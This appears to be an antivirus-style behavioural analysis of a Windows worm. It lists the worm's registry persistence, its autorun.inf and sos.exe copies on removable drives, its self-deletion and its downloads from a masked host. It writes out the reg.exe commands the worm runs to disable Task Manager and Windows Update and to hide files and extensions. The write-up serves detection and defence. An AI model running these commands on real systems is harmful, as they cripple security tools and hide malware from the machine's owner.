Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'crsss' = '<SYSTEM32>\Systom.exe'
Creates the following files on removable media:
- <Drive name for removable media>:\auToRun.inf
- <Drive name for removable media>:\sos.exe
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
- file extensions
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
Creates and executes the following:
- <SYSTEM32>\Systom.exe
Executes the following:
- <SYSTEM32>\cmd.exe /c <Current directory>\<Virus name>.bat
- %PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://www.ra##.com/tj.asp
- <SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN" /v CheckedValue /t REG_dword /d 00000002 /f
- <SYSTEM32>\reg.exe add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 00000001 /f
- <SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_EXPAND_SZ /d MZђ
- <SYSTEM32>\cmd.exe /c ""<Current directory>\<Virus name>.bat""
- <SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t REG_SZ /d 0 /f
- <SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_dword /d 00000001 /f
- <SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate /v DisableWindowsUpdateAccess /t REG_dword /d 00000001 /f
- <SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V crsss /T REG_SZ /D <SYSTEM32>\Systom.exe /F
- <SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 00000000 /f
- <SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 00000001 /f
- <SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\EXPlorer\Advanced" /v Hidden /t reg_dWord /d 00000000 /f
Modifies file system :
Creates the following files:
- <SYSTEM32>\COMx.DLL
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\gg[1].txt
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\tj[1].asp
- <SYSTEM32>\COMb.DLL
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\ee[1].txt
- <Current directory>\<Virus name>.bat
- <SYSTEM32>\Systom.exe
- <SYSTEM32>\auToRun.inf
- C:\auToRun.inf
- C:\sos.exe
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\sos.exe
- <Drive name for removable media>:\auToRun.inf
- C:\sos.exe
- C:\auToRun.inf
Deletes the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\tj[1].asp
Deletes itself.
Network activity:
Connects to:
- 'www.ra##.com':80
- 'localhost':1037
- 'localhost':1035
TCP:
HTTP GET requests:
- www.ra##.com/ee.txt
- www.ra##.com/tj.asp
- www.ra##.com/gg.txt
UDP:
- DNS ASK www.ra##.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
